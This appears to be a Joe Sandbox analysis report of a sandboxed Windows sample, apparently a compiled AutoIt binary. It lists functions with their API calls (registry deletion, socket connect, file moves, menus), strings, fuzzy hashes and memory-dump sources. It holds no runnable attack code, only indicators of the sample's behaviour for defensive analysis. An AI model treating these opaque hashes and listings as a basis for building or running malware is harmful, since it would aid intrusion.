API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 855ece47be971be2f117609a29fc2543c4d4f2257185e32b92cd5ca9d34eac79
Instruction ID: 1360fa1296e5596dcd4a868452773e89b7894b8acdbc426af4b7d2c7a1bfb346
Opcode Fuzzy Hash: 855ece47be971be2f117609a29fc2543c4d4f2257185e32b92cd5ca9d34eac79
Instruction Fuzzy Hash: 3851D2B09046D53DFB3287278C45BBABFA97B06310F088589E1D44A8C2D3A5EC98F760

Function 00FE589F Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00FE58AC
_wcsncpy.LIBCMT ref: 00FE58E1
_wcsncpy.LIBCMT ref: 00FE5913
_wcsncpy.LIBCMT ref: 00FE5946
_wcsncpy.LIBCMT ref: 00FE5988
_wcsncpy.LIBCMT ref: 00FE59C2
_wcsncpy.LIBCMT ref: 00FE59F1

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 78865b771cd05058cf728c33d32cfe8ff9b50e1aea37608cfc0cbd6d52b643b6
Instruction ID: acced8c927d6d2743956d7ed51548872283904b4abeb26129bf5d662cad9ddc1
Opcode Fuzzy Hash: 78865b771cd05058cf728c33d32cfe8ff9b50e1aea37608cfc0cbd6d52b643b6
Instruction Fuzzy Hash: E741D5E5C2051876CB50EBB5CC86ACFB7A8AF06710F508466F518E3122E738E754E7A5

Function 00FE38AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE48AA: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00FE38D3,?), ref: 00FE48C7

Part of subcall function 00FE48AA: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00FE38D3,?), ref: 00FE48E0

lstrcmpiW.KERNEL32(?,?), ref: 00FE38F3
_wcscmp.LIBCMT ref: 00FE390F
MoveFileW.KERNEL32(?,?), ref: 00FE3927
_wcscat.LIBCMT ref: 00FE396F
SHFileOperationW.SHELL32(?), ref: 00FE39DB

Strings

\*.*, xrefs: 00FE3969

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: e9c64bf38780c7bb90c39391ccf9ce080988747bcf5b87f5bc5772abd4bff9dd
Instruction ID: 1c6878154e30e41ec503dd48284be277aa6f2020238e0c303fc7268869dff8eb
Opcode Fuzzy Hash: e9c64bf38780c7bb90c39391ccf9ce080988747bcf5b87f5bc5772abd4bff9dd
Instruction Fuzzy Hash: E64182B25083849EC751EF65C889ADFB7E8AF89350F10092EB489C3152EB79D788D752

Function 01007500 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 01007519
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 010075C0
IsMenu.USER32(?), ref: 010075D8
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 01007620
DrawMenuBar.USER32 ref: 01007633

Strings

0, xrefs: 0100750D

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 8bb6c2b1a6a26477e3d460ce01cd9a6df30a2ab67f5aa433becfcf6485c09b2a
Instruction ID: 6442b8d4ec6fb617e44e8fb4b83acb7a41856f273bb16b594be69a1d428581a7
Opcode Fuzzy Hash: 8bb6c2b1a6a26477e3d460ce01cd9a6df30a2ab67f5aa433becfcf6485c09b2a
Instruction Fuzzy Hash: 24413EB5A00209EFEB21DF58D884EDABBF4FF09315F044169FA9697290D735A950CF90

Function 0100122D Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 0100125C
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 01001286
FreeLibrary.KERNEL32(00000000), ref: 0100133D

Part of subcall function 0100122D: RegCloseKey.ADVAPI32(?), ref: 010012A3
Part of subcall function 0100122D: FreeLibrary.KERNEL32(?), ref: 010012F5
Part of subcall function 0100122D: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 01001318

RegDeleteKeyW.ADVAPI32(?,?), ref: 010012E0

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: c78a1b3b2c6b2b8913be395337fe15103ba1ef712935c60c131d6c76c5194432
Instruction ID: 8923490a7d1829e4744f05257aeb7d46c03c353d79d7bbaf774296e9fba01931
Opcode Fuzzy Hash: c78a1b3b2c6b2b8913be395337fe15103ba1ef712935c60c131d6c76c5194432
Instruction Fuzzy Hash: E13110B1901119BFEB26DB94D885EFFB7BCEF09300F0041A9F591E2180DB759A459BA0

Function 0100653C Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 0100655B
GetWindowLongW.USER32(01695B68,000000F0), ref: 0100658E
GetWindowLongW.USER32(01695B68,000000F0), ref: 010065C3
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 010065F5
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 0100661F
GetWindowLongW.USER32(00000000,000000F0), ref: 01006630
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0100664A

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 6dddca6b2153cd8df989d8c473dddcab92a338c362db2456a4acc1fc954a2058
Instruction ID: d60ebea77ea7c45d93e95495edbc9e06808151ce38cff72b9c814f4df45d1411
Opcode Fuzzy Hash: 6dddca6b2153cd8df989d8c473dddcab92a338c362db2456a4acc1fc954a2058
Instruction Fuzzy Hash: 15312A746042119FEB32CF68DC84F553BE2FB4A711F1802A8F5818B2EACB77A850DB41

Function 00FF6486 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF80A0: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00FF80CB

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00FF64D9
WSAGetLastError.WSOCK32(00000000), ref: 00FF64E8
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00FF6521
connect.WSOCK32(00000000,?,00000010), ref: 00FF652A
WSAGetLastError.WSOCK32 ref: 00FF6534
closesocket.WSOCK32(00000000), ref: 00FF655D
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00FF6576

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 5547ec47598a13cfd009bf21793a6a645337bef9fe0bb15ede8a366b44a70141
Instruction ID: 764a57c0e6c6ff9bc53d670f60373880a3a7a9278524ebcd9e1cba213ea241a9
Opcode Fuzzy Hash: 5547ec47598a13cfd009bf21793a6a645337bef9fe0bb15ede8a366b44a70141
Instruction Fuzzy Hash: C231B531600118AFDB20EF64CC85BBE77A9EF44724F084059FA49E7291DF79AD05EBA1

Function 00FDE0B5 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FDE0FA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00FDE120
SysAllocString.OLEAUT32(00000000), ref: 00FDE123
SysAllocString.OLEAUT32 ref: 00FDE144
SysFreeString.OLEAUT32 ref: 00FDE14D
StringFromGUID2.OLE32(?,?,00000028), ref: 00FDE167
SysAllocString.OLEAUT32(?), ref: 00FDE175

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 4471f280a719a3b6c0e5418d8d19f8a5303656bf76042136beed7145c20cc40c
Instruction ID: e2578b7d6b266296d2be55b8fb972e926bc0236be243c08c5677f9edccfe9f20
Opcode Fuzzy Hash: 4471f280a719a3b6c0e5418d8d19f8a5303656bf76042136beed7145c20cc40c
Instruction Fuzzy Hash: D221A132604209AFDB20BFA8DC88DAA77EDEB09760B048126F954CB255DA75DC41EB60

Function 00FDFB6E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00FDFB81
__wcsnicmp.LIBCMT ref: 00FDFBA2
__wcsnicmp.LIBCMT ref: 00FDFBBC

Strings

#requireadmin, xrefs: 00FDFB9C
#notrayicon, xrefs: 00FDFB79
#OnAutoItStartRegister, xrefs: 00FDFBB6

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 29fb92b4d463ccacca6b5538d5fb21293f576e0359375471beeeacfe8c2965ad
Instruction ID: 2b4d5499f83323ef33cf50d96f47efb7fc0d6a416606d5665f7cc7569071ced5
Opcode Fuzzy Hash: 29fb92b4d463ccacca6b5538d5fb21293f576e0359375471beeeacfe8c2965ad
Instruction Fuzzy Hash: C7216A7351425266D330B624DC12FA773D9EF56350F184437F88786241EB58AA95F291

Function 0100783C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F81D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00F81D73
Part of subcall function 00F81D35: GetStockObject.GDI32(00000011), ref: 00F81D87
Part of subcall function 00F81D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00F81D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 010078A1
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 010078AE
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 010078B9
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 010078C8
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 010078D4

Strings

Msctls_Progress32, xrefs: 01007872

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 4774c825c72823cd76c06df730c69a18855f54406546139877957d151cf270c0
Instruction ID: 54fad43b387abaf3f8b4ee8eaf498f00cceee408f5c8cea98b41c6f87bbfc3f0
Opcode Fuzzy Hash: 4774c825c72823cd76c06df730c69a18855f54406546139877957d151cf270c0
Instruction Fuzzy Hash: FC1193B2150119BFFF169E64CC85EE77F5DEF08758F014115F644A6090DA76AC21DBA0

Function 00FA41C9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00FA4292,?), ref: 00FA41E3
GetProcAddress.KERNEL32(00000000), ref: 00FA41EA
EncodePointer.KERNEL32(00000000), ref: 00FA41F6
DecodePointer.KERNEL32(00000001,00FA4292,?), ref: 00FA4213

Strings

RoInitialize, xrefs: 00FA41D2
combase.dll, xrefs: 00FA41DE

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 036ce60f8c390ce44012e441823ddb584d0fc40cd4f2778598c8471559783ba5
Instruction ID: 58bec3698bd54e8dc8b61abbf5c0565b8c87e8431ff78f89984aa20fcbb7f7f1
Opcode Fuzzy Hash: 036ce60f8c390ce44012e441823ddb584d0fc40cd4f2778598c8471559783ba5
Instruction Fuzzy Hash: BAE01AF8A90341AFEB316BB1ED89B043AA4B765716F508428B491E909CDBBF6451AF00

Function 00FA429E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00FA41B8), ref: 00FA42B8
GetProcAddress.KERNEL32(00000000), ref: 00FA42BF
EncodePointer.KERNEL32(00000000), ref: 00FA42CA
DecodePointer.KERNEL32(00FA41B8), ref: 00FA42E5

Strings

combase.dll, xrefs: 00FA42B3
RoUninitialize, xrefs: 00FA42A7

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 98a78d1ecb965fcb1bec187f6ccae06c91d7ef299421d1d85f3c856d633697c5
Instruction ID: 0a464cd2d7cef763c8ae2bdee9cef55e529f84aa9219f21ad85bd8101e9eface
Opcode Fuzzy Hash: 98a78d1ecb965fcb1bec187f6ccae06c91d7ef299421d1d85f3c856d633697c5
Instruction Fuzzy Hash: 55E0BFBC641301ABDB31AB61EE4EB443AA4B715752F604018F481E505CCBBE5500EB14

Function 00FE675A Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FE68AD
_memmove.LIBCMT ref: 00FE67E8

Part of subcall function 00F89997: __itow.LIBCMT ref: 00F899C2
Part of subcall function 00F89997: __swprintf.LIBCMT ref: 00F89A0C

_memmove.LIBCMT ref: 00FE685B
_memmove.LIBCMT ref: 00FE6942
_memmove.LIBCMT ref: 00FE695B
_memmove.LIBCMT ref: 00FE6977

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: ab4eb5b95743a44d51d7fadd3155ba3afd48b97ef46ff4ca0970a978f0b83e01
Instruction ID: c66f08fd08f553599606132f3bf3b35d4e7c13186cc27759e06ab159f5e0e08f
Opcode Fuzzy Hash: ab4eb5b95743a44d51d7fadd3155ba3afd48b97ef46ff4ca0970a978f0b83e01
Instruction Fuzzy Hash: 6A61CB3050428A9BCF11FF21CC82FFE37A4AF45748F094519F8599B292DB78AD01EB50

Function 0100046F Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

Part of subcall function 010010A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,01000038,?,?), ref: 010010BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 01000548
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 01000588
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 010005AB
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 010005D4
RegCloseKey.ADVAPI32(?,?,00000000), ref: 01000617
RegCloseKey.ADVAPI32(00000000), ref: 01000624

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 201b23b6ea04d4d609f3f41ee7f9aa2c6001ef0ec681ff8984a194f2eea936bc
Instruction ID: bcf35b4472ae34b445b7eff0f0500183f03b5822ac469d048eaccaeaf06c79a0
Opcode Fuzzy Hash: 201b23b6ea04d4d609f3f41ee7f9aa2c6001ef0ec681ff8984a194f2eea936bc
Instruction Fuzzy Hash: 6B516731208200AFEB15EB24CC85EAFBBE9FF88744F04491DF585872A1DB36E905DB52

Function 01005A20 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 01005A82
GetMenuItemCount.USER32(00000000), ref: 01005AB9
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 01005AE1
GetMenuItemID.USER32(?,?), ref: 01005B50
GetSubMenu.USER32(?,?), ref: 01005B5E
PostMessageW.USER32(?,00000111,?,00000000), ref: 01005BAF

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 232e72c68625a7112dd11e3edd1bd9af8e4c31941637a41d93a460431f8d7bdb
Instruction ID: 204dda576fde7fa3fd505bff3bc00a78f87c5e4490d3399fa6cb7beac6466c94
Opcode Fuzzy Hash: 232e72c68625a7112dd11e3edd1bd9af8e4c31941637a41d93a460431f8d7bdb
Instruction Fuzzy Hash: AF519E35A00615AFDB12EF64CC45AAEBBB4EF48310F004099E941B7291CB79AE41DF90

Function 00FDF3DD Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FDF3F7
VariantClear.OLEAUT32(00000013), ref: 00FDF469
VariantClear.OLEAUT32(00000000), ref: 00FDF4C4
_memmove.LIBCMT ref: 00FDF4EE
VariantClear.OLEAUT32(?), ref: 00FDF53B
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00FDF569

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 1c1cbf6e0cade6d3716fed2ca9d10cc5dc039b7b097a10175bd01e4cb548e5a3
Instruction ID: 59e28e2eb480d0c8d3f5284f22eef46408bdeafd0693209b93c86074c33e547b
Opcode Fuzzy Hash: 1c1cbf6e0cade6d3716fed2ca9d10cc5dc039b7b097a10175bd01e4cb548e5a3
Instruction Fuzzy Hash: 7D515BB5A0020A9FCB10DF58D880EAAB7F9FF48314B19816AED59DB305D734E915CBA0

Function 00FE26F9 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FE2747
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00FE2792
IsMenu.USER32(00000000), ref: 00FE27B2
CreatePopupMenu.USER32 ref: 00FE27E6
GetMenuItemCount.USER32(000000FF), ref: 00FE2844
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00FE2875

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
